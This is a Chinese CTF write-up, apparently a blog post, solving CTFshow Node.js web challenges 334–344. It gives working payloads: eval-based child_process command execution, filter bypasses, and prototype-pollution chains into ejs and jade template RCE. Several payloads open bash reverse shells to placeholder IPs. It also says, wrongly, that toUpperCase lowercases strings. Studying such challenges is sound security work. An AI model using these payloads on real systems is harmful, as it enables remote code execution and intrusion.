CTFshow-WEB入门-node.js

前言

刚学了2天的node.js,我还是太菜了官方文档看的太懵,听学长说node.js的漏洞就那些,不用那么专注的学习。但是考虑到我对于javascript和node.js都实在不太懂,因此打算一遍做题,一遍学node.js的基础知识。
后来:终于把官方文档中的learn给看了一遍,大致对node.js有了一部分了解,也是肝下了人生中第一个英文的文档,参考链接:
Node.js learn

web334

主要关注这段代码:

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

toUpperCase()是把字符串转小写,因此用小写绕过即可。

username=ctfshow&password=123456

羽师傅还提到了个trick:

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

学习一波。

web335

f12看到/?eval=,猜测是eval()函数,查了一下,可以利用child_process的exec来执行系统命令。
用了一下网上的payload,回显很奇怪:
在这里插入图片描述
然后就是想办法弹shell之类的,发现都不太行。(node.js萌新落泪)。
看了一下Y4师傅和羽师傅的博客,大致理解了这道题。
这题的代码可能是这样:
eval('console.log(xxx)')
查一下这个exec函数,返回值还是一个ChildProcess
在这里插入图片描述
所以会打印出[object Object]
Y4师傅用的是execSync():
在这里插入图片描述
因此可以直接打印出命令执行的结果:

require('child_process').execSync('ls').toString()

羽师傅用的是

eval=require('child_process').spawnSync('ls').stdout.toString();
eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

在这里插入图片描述

web336

ban了exec,用之前羽师傅的姿势即可:

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

再学习一下Y4师傅的姿势,因为对于node.js不熟悉,这样的小知识点只能慢慢从大师傅们的博客中学习了。

首先是两个东西:

__filename
__dirname

在这里插入图片描述
因此可以利用__filename来获得当然的模块文件路径:
在这里插入图片描述
然后读取文件:

?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

发现过滤了exec和load。
这时候就利用和ssti中有些类似的绕过手法了:

?eval=require('child_process')['exe'+'cSync']('ls').toString()

在这里插入图片描述

还有一种方法,就是利用fs模块读取当前目录的文件名,然后再利用fs模块读取这个文件:

?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

学到了学到了,node.js的官方文档还是偷懒没看完,又去看了一下果然fs模块的东西后面也都有,还是不能偷懒啊。

web337

关键点就是这里了

    var a = req.query.a;
    var b = req.query.b;
    if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
        res.end(flag);

弱类型和数组绕过在php见的太多了,第一次在node.js中遇到,把源码弄了下来,本地复现了一下:

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
    return crypto.createHash('md5')
        .update(s)
        .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
    res.type('html');
    var flag='xxxxxxx';
    var a = req.query.a;
    var b = req.query.b;
    console.log(a)
    console.log(b)
    if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
        res.end(flag);
    }else{
        res.end("no")
    }

});

let app=express()
app.use('/',router)
app.listen(39123)

这题很明显可以想到拿数组绕过,但是,数组传过去,req.query.a到底得到的是什么。如果这样:a[]=1&b[]=2
在这里插入图片描述
得到的正好就是数组。这时候就相当于需要['1']+flag===['2']+flag。注意一下node.js中拼接的问题:

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

这时候就有一种思路了,就是类似['a']+flag==='a'+flag这样的,比如flag是flag{123},那么最后得到的都是aflag[123},因此这个也肯定成立:md5(['a']+flag)===md5('a'+flag),同时也满足a!==b
在这里插入图片描述

还有一种思路。理解一下javascript的数组,会发现它相对来说,和python的列表更为相像,而不像php的数组,因为它只能是数字索引,那么如果传非数字索引呢?:

?a[x]=1&b[x]=2

在这里插入图片描述

变成javascript中的对象了。而对象又有这样的特点:

let a={
    x:'1'
}
console.log(a+"flag{123}")
//返回的是: [object Object]flag{123}

因此传入两个对象,进行变量拼接后得到的都是[object Object]ctfshow{xxxxxx},再进行md5肯定也是相同的。本来我以为还需要让a对象和b对象的有不同的键或者虽然键全是相同的,但是有值不同,这样来满足a!==b,但是发现并不需要,因为甚至这样,返回的都是false:

let a={
    x:'1'
}
let b={
    x:'2'
}
console.log(a===b)
//false

感觉这部分就和java有点像了,两个对象直接比较并不是说比较属性啥的,而是通过引用(内存里的位置)比较的,因此自然a!==b

web338

原型链污染,node.js最常见的考点了,参考链接:

深入理解 JavaScript Prototype 污染攻击

原型链污染的文章网上太多了,这里就不多介绍了,直接打了:

application/json

{"__proto__":{"ctfshow":"36dboy"}}

web339

预期解

做这题之前建议先把p神Code-Breaking 2018 Thejs这题给看一下,同样是模板渲染导致的rce。
看完之后再来看这题,整体审一下代码,还是这里可以原型链污染:

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  //console.log(user.query)
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

但是if(secert.ctfshow===flag){是没法满足的,因此这里没法利用。
一开始感觉api.js没有用,其实再想想的话,这里:

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

进行模板渲染,联想上面的Thejs那题,这里Function的参数和里面的js语句如果可控的话就同样是模板渲染导致的rce了。那么能不能利用原型链污染来控制这个query呢?是可以的,这里我问了一下Y4师傅,它是这样回答的:

因为所有变量的最顶层都是object,当前环境没有y4tacker,它会直接去寻找Object对象的属性当中是否有y4tacker这个键zhi对是否存在

在这里插入图片描述
想了好久没理解,终于懂了。
因此直接rce来反弹shell即可:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

之所以要套2层bash,就是本地测试,发现一层bash的话会报错:
在这里插入图片描述
先/login那里污染一下发包,然后再post访问一下/api即可。
payload中不用require的原因是这个:

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

非预期

非预期的原因就是这题用了ejs模板引擎,这个模板引擎有个漏洞可以rce:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}

参考文章:
Express+lodash+ejs: 从原型链污染到RCE
XNUCA2019 Hardjs题解 从原型链污染到RCE
有一说一我只看最后那部分。。中间一堆跟进看的我脑子疼。。。还是太菜了,慢慢学习node.js,慢慢提升一下代码审计的能力。

web340

和上一题差不多,只不过这里不一样:

  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

可以看到,user.__proto__并不是Object.prototypeuser.__proto.__proto__才是:
在这里插入图片描述

因此污染两层即可:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.11/11111 0>&1\"')"}}}

web341

使用之前的那个ejs rce,先进行一下原型链污染,再刷新一次即可:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}}

web342

对比了一下这题和之前题目的区别,发现模板引擎改成了jade,网上找的用不了,用一下L0nm4r师傅的博客里写的:

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')"}}}

几个node模板引擎的原型链污染分析

web343

同上。ejs,还有jade的这些模板rce暂时只用,不去具体跟着网上的文章审了。现在暂时对于node.js只是刚刚入门,代码也只能看懂很少的一部分,去跟着网上的文章审计,对于现在的我来说并不能学到什么东西,等自己的node.js功底更深了,对于开发的思维更深了,再来复现,才能学到更多的东西,有自己的思考。

web344

看一下代码:

router.get('/', function(req, res, next) {
    res.type('html');
    var flag = 'flag_here';
    console.log(req.url)
    if(req.url.match(/8c|2c|\,/ig)){
        res.end('111where is flag :)');
    }
    var query = JSON.parse(req.query.query);
    if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
        res.end(flag);
    }else{
        res.end('222where is flag. :)');
    }

});

正常就是这样:?query={"name":"admin","password":"ctfshow","isVIP":true},但是不行,发现把逗号给过滤了,想不出来绕过的办法,看了一下羽师傅的文章。

有2个点,一个点就是node.js处理的特点和JSON.parse,另外一个点就是req.url是经过url编码的。把这部分代码改一下:

    var flag = 'flag_here';
    console.log(req.url)
    if(req.url.match(/8c|2c|\,/ig)){
        res.end('111where is flag :)');
    }
    console.log(req.query.query)
    var query = JSON.parse(req.query.query);
    console.log(query)

分别console.log,本地测试一下就可以看到,req.url是经过编码的,因此可以考虑把逗号进行url编码,但是会发现2c被ban了,因此%2c来绕过也没法绕,因此要利用node.js本身的特性。
在这里插入图片描述

这样传:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

在这里插入图片描述
首先就是node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了。至于c那个之所以要再进行url编码成%63,就是因为前面的%22,会造成%22c,正好ban了2c,所以c也需要进行url编码。学到了学到了,很有意思的特性。

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
ERROR Failed to compile with 48 errors 上午10:53:54 These dependencies were not found: * core-js/modules/es.array.push.js in ./node_modules/.store/@[email protected]/node_modules/@babel/runtime/helpers/esm/objectSpread2.js, ./node_modules/.store/[email protected]/node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/.store/[email protected]/node_modules/babel-loader/lib!./node_modules/.store/[email protected]/node_modules/cache-loader/dist/cjs.js??ref--0-0!./node_modules/.store/[email protected]/node_modules/vue-loader/lib??vue-loader-options!./src/components/HeaderSearch/index.vue?vue&type=script&lang=js& and 29 others * core-js/modules/es.error.cause.js in ./node_modules/.store/@[email protected]/node_modules/@babel/runtime/helpers/esm/regeneratorRuntime.js, ./node_modules/.store/[email protected]/node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/.store/[email protected]/node_modules/babel-loader/lib!./node_modules/.store/[email protected]/node_modules/cache-loader/dist/cjs.js??ref--0-0!./node_modules/.store/[email protected]/node_modules/vue-loader/lib??vue-loader-options!./src/layout/components/Navbar.vue?vue&type=script&lang=js& and 5 others * core-js/modules/es.object.proto.js in ./node_modules/.store/@[email protected]/node_modules/@babel/runtime/helpers/esm/regeneratorRuntime.js * core-js/modules/es.regexp.dot-all.js in ./node_modules/.store/[email protected]/node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/.store/[email protected]/node_modules/babel-loader/lib!./node_modules/.store/[email protected]/node_modules/cache-loader/dist/cjs.js??ref--0-0!./node_modules/.store/[email protected]/node_modules/vue-loader/lib??vue-loader-options!./src/components/ThemePicker/index.vue?vue&type=script&lang=js&, ./node_modules/.store/[email protected]/node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/.store/[email protected]/node_modules/babel-loader/lib!./node_modules/.store/[email protected]/node_modules/cache-loader/dist/cjs.js??ref--0-0!./node_modules/.store/[email protected]/node_modules/vue-loader/lib??vue-loader-options!./src/layout/components/Navbar.vue?vue&type=script&lang=js& and 2 others * core-js/modules/web.url-search-params.delete.js in ./src/utils/request.js * core-js/modules/web.url-search-params.has.js in ./src/utils/request.js * core-js/modules/web.url-search-params.size.js in ./src/utils/request.js * qs in ./src/utils/request.js * svg-baker-runtime/browser-symbol in ./src/icons/svg/user.svg To install them, you can run: npm install --save core-js/modules/es.array.push.js core-js/modules/es.error.cause.js core-js/modules/es.object.proto.js core-js/modules/es.regexp.dot-all.js core-js/modules/web.url-search-params.delete.js core-js/modules/web.url-search-params.has.js core-js/modules/web.url-search-params.size.js qs svg-baker-runtime/browser-symbol怎么解决如何安装
最新发布
07-21

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值